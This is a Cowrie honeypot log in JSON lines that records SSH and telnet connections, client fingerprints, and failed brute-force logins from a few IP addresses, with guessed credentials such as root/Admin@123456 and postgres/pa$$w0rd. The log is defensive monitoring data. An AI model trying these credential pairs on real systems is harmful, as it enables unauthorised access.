{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55046,"dst_ip":"10.17.0.5","dst_port":22,"session":"643639de8582","protocol":"ssh","message":"New connection: 176.65.132.254:55046 (10.17.0.5:22) [session: 643639de8582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:57.545446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:57.550598Z","src_ip":"176.65.132.254","session":"643639de8582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:57.638773Z","src_ip":"176.65.132.254","session":"643639de8582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:58.180981Z","src_ip":"176.65.132.254","session":"643639de8582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:59.265926Z","src_ip":"176.65.132.254","session":"643639de8582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49860,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a8ce9806336","protocol":"telnet","message":"New connection: 38.54.119.93:49860 (10.17.0.5:23) [session: 1a8ce9806336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:01.270029Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44194,"dst_ip":"10.17.0.5","dst_port":22,"session":"402b68a05f86","protocol":"ssh","message":"New connection: 176.65.132.254:44194 (10.17.0.5:22) [session: 402b68a05f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:02.044925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:02.049770Z","src_ip":"176.65.132.254","session":"402b68a05f86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:02.141485Z","src_ip":"176.65.132.254","session":"402b68a05f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:02.403628Z","src_ip":"176.65.132.254","session":"402b68a05f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:03.489150Z","src_ip":"176.65.132.254","session":"402b68a05f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44208,"dst_ip":"10.17.0.5","dst_port":22,"session":"daaadf7526f7","protocol":"ssh","message":"New connection: 176.65.132.254:44208 (10.17.0.5:22) [session: daaadf7526f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:06.444209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:06.449430Z","src_ip":"176.65.132.254","session":"daaadf7526f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:06.546725Z","src_ip":"176.65.132.254","session":"daaadf7526f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55914,"dst_ip":"159.203.135.109","dst_port":23,"session":"75808966413b","protocol":"telnet","message":"New connection: 134.209.8.29:55914 (159.203.135.109:23) [session: 75808966413b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:06.728838Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:06.800344Z","src_ip":"176.65.132.254","session":"daaadf7526f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:08.061816Z","src_ip":"176.65.132.254","session":"daaadf7526f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55908,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5648f97ca4","protocol":"telnet","message":"New connection: 134.209.8.29:55908 (159.203.135.109:23) [session: bd5648f97ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:09.737330Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44220,"dst_ip":"10.17.0.5","dst_port":22,"session":"c18f1ba6e8d9","protocol":"ssh","message":"New connection: 176.65.132.254:44220 (10.17.0.5:22) [session: c18f1ba6e8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:10.848667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:10.854446Z","src_ip":"176.65.132.254","session":"c18f1ba6e8d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:10.937819Z","src_ip":"176.65.132.254","session":"c18f1ba6e8d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:11.256475Z","src_ip":"176.65.132.254","session":"c18f1ba6e8d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:12.344978Z","src_ip":"176.65.132.254","session":"c18f1ba6e8d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35758,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d8825b54d2c","protocol":"ssh","message":"New connection: 176.65.132.254:35758 (10.17.0.5:22) [session: 7d8825b54d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:15.014817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:15.020471Z","src_ip":"176.65.132.254","session":"7d8825b54d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:15.108705Z","src_ip":"176.65.132.254","session":"7d8825b54d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:15.590872Z","src_ip":"176.65.132.254","session":"7d8825b54d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:16.677643Z","src_ip":"176.65.132.254","session":"7d8825b54d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52324,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ea699b58d84","protocol":"telnet","message":"New connection: 134.209.8.29:52324 (159.203.135.109:23) [session: 7ea699b58d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:17.091493Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":1341,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf29d4c40379","protocol":"ssh","message":"New connection: 190.129.122.12:1341 (10.17.0.5:22) [session: cf29d4c40379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:17.267682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:17.272698Z","src_ip":"190.129.122.12","session":"cf29d4c40379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:17.442931Z","src_ip":"190.129.122.12","session":"cf29d4c40379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33918,"dst_ip":"10.17.0.5","dst_port":23,"session":"672837a8b74e","protocol":"telnet","message":"New connection: 38.54.119.93:33918 (10.17.0.5:23) [session: 672837a8b74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:17.549338Z"}
{"eventid":"cowrie.session.closed","duration":52.37630271911621,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:18.021034Z","src_ip":"134.209.8.29","session":"0495aece4f6d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pa$$w0rd","message":"login attempt [postgres/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:18.223244Z","src_ip":"190.129.122.12","session":"cf29d4c40379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.767342567443848,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:18.504574Z","src_ip":"134.209.8.29","session":"bd5648f97ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35760,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8d1bf636bf7","protocol":"ssh","message":"New connection: 176.65.132.254:35760 (10.17.0.5:22) [session: b8d1bf636bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:19.260223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:19.264715Z","src_ip":"176.65.132.254","session":"b8d1bf636bf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:19.349032Z","src_ip":"176.65.132.254","session":"b8d1bf636bf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:19.393343Z","src_ip":"190.129.122.12","session":"cf29d4c40379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:19.646258Z","src_ip":"176.65.132.254","session":"b8d1bf636bf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35632,"dst_ip":"10.17.0.5","dst_port":23,"session":"c07fd2251dc2","protocol":"telnet","message":"New connection: 38.54.119.93:35632 (10.17.0.5:23) [session: c07fd2251dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:20.325871Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:21.049522Z","src_ip":"176.65.132.254","session":"b8d1bf636bf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36282,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc68400fe524","protocol":"ssh","message":"New connection: 176.65.132.254:36282 (10.17.0.5:22) [session: fc68400fe524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:23.751290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:54:23.755737Z","src_ip":"176.65.132.254","session":"fc68400fe524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@o